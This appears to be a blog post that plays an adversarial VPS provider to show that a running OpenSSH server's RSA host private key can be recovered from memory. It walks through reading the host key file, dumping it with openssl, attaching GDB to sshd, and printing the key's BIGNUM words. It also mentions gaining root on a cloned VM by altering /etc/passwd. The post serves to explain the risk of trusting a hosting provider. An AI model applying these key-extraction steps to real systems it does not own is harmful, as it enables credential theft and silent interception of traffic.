Let's suppose that I'm an evil VPS provider. My goal is to extract the private key from a running SSH server on an Arch Linux x64 machine.
Let's set the stage.
You've been a security zealot all your life. You run your own little bitcoin exchange, perhaps, and it's beginning to get popular. Rather than check your email on Google's "insecure" gmail service, you've decided to roll your own mail server hosted on a VPS. However, you've made the grave mistake of hosting your machine on "GWS", the competitively priced US-based 'GCR Web Services" company.
Unfortunately for you, a National Security Letter with your name on it has just landed in my mailbox. I need to decrypt all future SSH traffic to your machine without you knowing it.
If I could get your private SSH key, then I could stage an active man in the middle attack without you knowing. After all, because I'm your VPS provider, I control your network. But first things first: let's get that key.
For clarity, I'm going to show how to do this using GDB. Today, we'll be dissecting a freshly-compiled sshd binary that has debug symbols, just to see that it can be done. But keep in mind that I'm hosting your virtual machine, so your memory is really my memory. If sshd keeps that private key anywhere in memory, a skilled reverse engineer is going to be able to find it, with or without debug symbols.
So for now, without loss of generality, let's assume that I have root access on your server's shell-session and a working gdb, and you're running a debug version of sshd. If I don't already have root access, I could clone your VM, shut it down, and change/bruteforce the /etc/passwd file, then start up the modified VM in a lab environment. Note that many VPS providers (at least digitalocean, but probably many more) control the root password when they provision new machines, so it's likely that your VPS provider has your root password already, but because I can read your RAM, this doesn't matter much.
The easiest way to swipe your VM's private key is just to mount your guest's filesystem and copy /etc/ssh/ssh_host_rsa_key out. After all, sshd needs that to run, but let's say I can't do that for whatever reason.
What kind of information does the private key have inside? Let's take a look at my laptop's:
gcr@hudson $ sudo cat /etc/ssh/ssh_host_rsa_key
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvzgEJ/RgQVkB/f+etHNetfAoLLe1j+qwcxlaDGawc5DJYbda
wQcdPl9ud4zIA0EWQSv+kMKFq9qxstbE6EreyW78lQ727AqgCPRtVh8rcR9Ta7FL
...
-----END RSA PRIVATE KEY-----
It's a base64 encoded representation of a few important (very long) numbers. The openssl utility can display these numbers in a nicer form:
gcr@hudson $ sudo openssl rsa -in /etc/ssh/ssh_host_rsa_key -text
Private-Key: (2048 bit)
modulus:
00:bf:38:04:27:f4:60:41:59:01:fd:ff:9e:b4:73:
5e:b5:f0:28:2c:b7:b5:8f:ea:b0:73:19:5a:0c:66:
...
publicExponent: 65537 (0x10001)
privateExponent:
45:9b:ad:9f:a1:cd:1c:5c:bb:65:ec:14:a8:d9:ca:
a3:6e:6e:21:81:2a:9d:de:30:27:66:16:2a:a7:83:
...
prime1:
00:fd:b5:d5:bf:f9:4a:3d:49:0c:ba:f3:d9:21:e3:
2f:8f:ab:a7:b8:da:ef:82:3d:14:8d:8e:4f:b4:7e:
...
prime2:
00:c0:f1:cd:80:49:41:04:cd:69:a4:ec:04:c8:f8:
36:99:00:00:07:86:f1:3e:38:46:9d:db:d2:26:d9:
...
exponent1:
00:c4:e3:56:e4:eb:26:04:d7:6a:cc:ae:ae:23:91:
35:f8:ad:c2:b4:3f:1b:3d:9b:ff:16:37:89:7d:4d:
...
exponent2:
56:03:75:b9:5a:ee:c1:55:51:63:54:54:4d:c3:59:
93:9b:8c:67:ce:a0:7d:3c:59:3e:c6:60:49:31:41:
...
coefficient:
2f:4c:1b:76:63:87:ee:68:a6:44:68:44:c7:50:0b:
24:ac:45:0e:b4:24:4c:cf:00:86:32:4b:fd:c9:20:
...
Our goal is to extract these values from the running sshd process so we can reconstruct that key. Remember the first few bytes of the modulus -- bf, 38, 04.
First, your machine has been running for a few days now, so let's simulate a running ssh process. In one terminal:
gcr@hudson /tmp/openssh/src/openssh-6.2p2$ sudo `pwd`/sshd -Dde
debug1: sshd version OpenSSH_6.2, OpenSSL 1.0.1e 11 Feb 2013
debug1: read PEM private key done: type RSA
debug1: private host key: #0 type 1 RSA
debug1: read PEM private key done: type DSA
debug1: private host key: #1 type 2 DSA
debug1: read PEM private key done: type ECDSA
debug1: private host key: #2 type 3 ECDSA
...
That's interesting. Where did that "read PEM private key" message come from? From poking around in the source code (ssh is open source of course), sshd reads the private keys on startup and just keeps them there for the lifetime of the process. Near line sshd.c:1621:
for (i = 0; i < options.num_host_key_files; i++) {
key = key_load_private(options.host_key_files[i], "", NULL);
sensitive_data.host_keys[i] = key;
...
Boy, that sensitive_data variable sure looks interesting! Let's now attach to the running ssh process and see what it looks like. In another terminal, I'll fire up good ol' gdb. (In the transcript below, my input is everything after the (gdb) prompt.)
gcr@hudson /tmp/openssh/src/openssh-6.2p2 $ sudo gdb -p `pgrep sshd`
GNU gdb (GDB) 7.6
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
... output ...
Attaching to process 388
Reading symbols from /store/tmp/openssh/src/openssh-6.2p2/sshd...done.
... lots of output...
0x00007fb6770adcf3 in __select_nocancel () from /usr/lib/libc.so.6
(gdb)
As soon as we attach, gdb has frozen our sshd process right away, so we can begin to investigate. First, note that we're currently stuck somewhere in a blocking network call. That's no fun, we need to go up the call stack to the main() function because that's where the sensitive_data variable is in scope.
(gdb) where
#0 0x00007fb6770adcf3 in __select_nocancel () from /usr/lib/libc.so.6
#1 0x000000000040aaa4 in server_accept_loop (sock_in=0x7fff5253cbc4,
sock_out=0x7fff5253cbc8, newsock=0x7fff5253cbcc, config_s=0x7fff5253cc30)
at sshd.c:1148
#2 0x000000000040c577 in main (ac=2, av=0x1915030) at sshd.c:1846
Traveling up two stack frames...
(gdb) up
#1 0x000000000040aaa4 in server_accept_loop (sock_in=0x7fff5253cbc4,
sock_out=0x7fff5253cbc8, newsock=0x7fff5253cbcc, config_s=0x7fff5253cc30)
at sshd.c:1148
1148 ret = select(maxfd+1, fdset, NULL, NULL, NULL);
(gdb) up
#2 0x000000000040c577 in main (ac=2, av=0x1915030) at sshd.c:1846
1846 server_accept_loop(&sock_in, &sock_out,
(gdb)
Now that we're in main(), we can look at the sensitive_data variable. GDB's p command will just print the contents of variables, structures, or whatever else, so let's poke around a bit:
(gdb) p sensitive_data
$1 = {server_key = 0x0, ssh1_host_key = 0x0, host_keys = 0x1543790,
host_certificates = 0x1544880, have_ssh1_key = 0, have_ssh2_key = 1,
ssh1_cookie = '\000' <repeats 31 times>}
(gdb) p sensitive_data.host_keys
$2 = (Key **) 0x1543790
(gdb) p sensitive_data.host_keys[0]
$3 = (Key *) 0x15448c0
(gdb) p *sensitive_data.host_keys[0]
$4 = {type = 1, flags = 0, rsa = 0x1545180, dsa = 0x0, ecdsa_nid = -1,
ecdsa = 0x0, cert = 0x0}
(gdb) p *sensitive_data.host_keys[1]
$5 = {type = 2, flags = 0, rsa = 0x0, dsa = 0x1544df0, ecdsa_nid = -1,
ecdsa = 0x0, cert = 0x0}
(gdb) p *sensitive_data.host_keys[2]
$6 = {type = 3, flags = 0, rsa = 0x0, dsa = 0x0, ecdsa_nid = 415,
ecdsa = 0x1544ad0, cert = 0x0}
From this, looks like sensitive_data.host_keys[0] is our RSA key that we're after. It sure has a lot of fields:
(gdb) p *sensitive_data.host_keys[0]->rsa
$8 = {pad = 0, version = 0, meth = 0x7fe466c7f020 <e_rsax_rsa>,
engine = 0x153df50, n = 0x15452e0, e = 0x1545410, d = 0x1545450, p = 0x1545580,
q = 0x1545630, dmp1 = 0x15456e0, dmq1 = 0x1545790, iqmp = 0x1545840, ex_data = {
sk = 0x0, dummy = 0}, references = 1, flags = 14, _method_mod_n = 0x0,
_method_mod_p = 0x0, _method_mod_q = 0x0, bignum_data = 0x0,
blinding = 0x1544b80, mt_blinding = 0x0}
Turns out the 'n' field of this struct is actually the modulus:
(gdb) p sensitive_data.host_keys[0]->rsa->n
$10 = (BIGNUM *) 0x15452e0
(gdb) p *sensitive_data.host_keys[0]->rsa->n
$11 = {d = 0x1545300, top = 32, dmax = 33, neg = 0, flags = 1}
But wait, what on earth is this BIGNUM* doing here?
RSA keys have really long (ie. hundreds of decimal digits long) numbers in them, so SSH uses its own custom "BIGNUM" type. It's stored in a funny format on my 64-bit machine, so if we want to reveal it, we have to start at the end ('top'), starting at position 31 first:
(gdb) p/x sensitive_data.host_keys[0]->rsa->n->d[31]
$12 = 0xbf380427f4604159
(gdb) p/x sensitive_data.host_keys[0]->rsa->n->d[30]
$13 = 0x1fdff9eb4735eb5
(gdb) p/x sensitive_data.host_keys[0]->rsa->n->d[29]
$14 = 0xf0282cb7b58feab0
...
Aha, the first few bytes of our modulus stand revealed! Recall from the openssl output that the first few bytes were bf, 38, 04, 27, ... , which match exactly what GDB says is in our running ssh's memory.
We have just extracted (part of) the private key out of the running sshd process, and it matches the key stored in the filesystem.
This means, subject to the assumptions above, that if an attacker or VPS provider can read the RAM of your machine, they can get your key too.
Restating this in firmer words, your VPS provider -- AWS, Linode, Digitalocean, whomever -- has the power to silently and completely invisibly decrypt your SSH traffic. As a corollary, the only secure machine is a machine that you have exclusive physical access to.
This applies to any services that you run in your VPS. HTTPS? SSH? Mail? Doesn't matter; they all keep the private key somewhere in memory when they run.
Should have thought twice before trusting your VPS.
Edit, Jun 13 2013: According to Reddit user makomk and Reddit user b0lt, getting the host's private key still isn't quite enough to allow for an undetectable man-in-the-middle attack.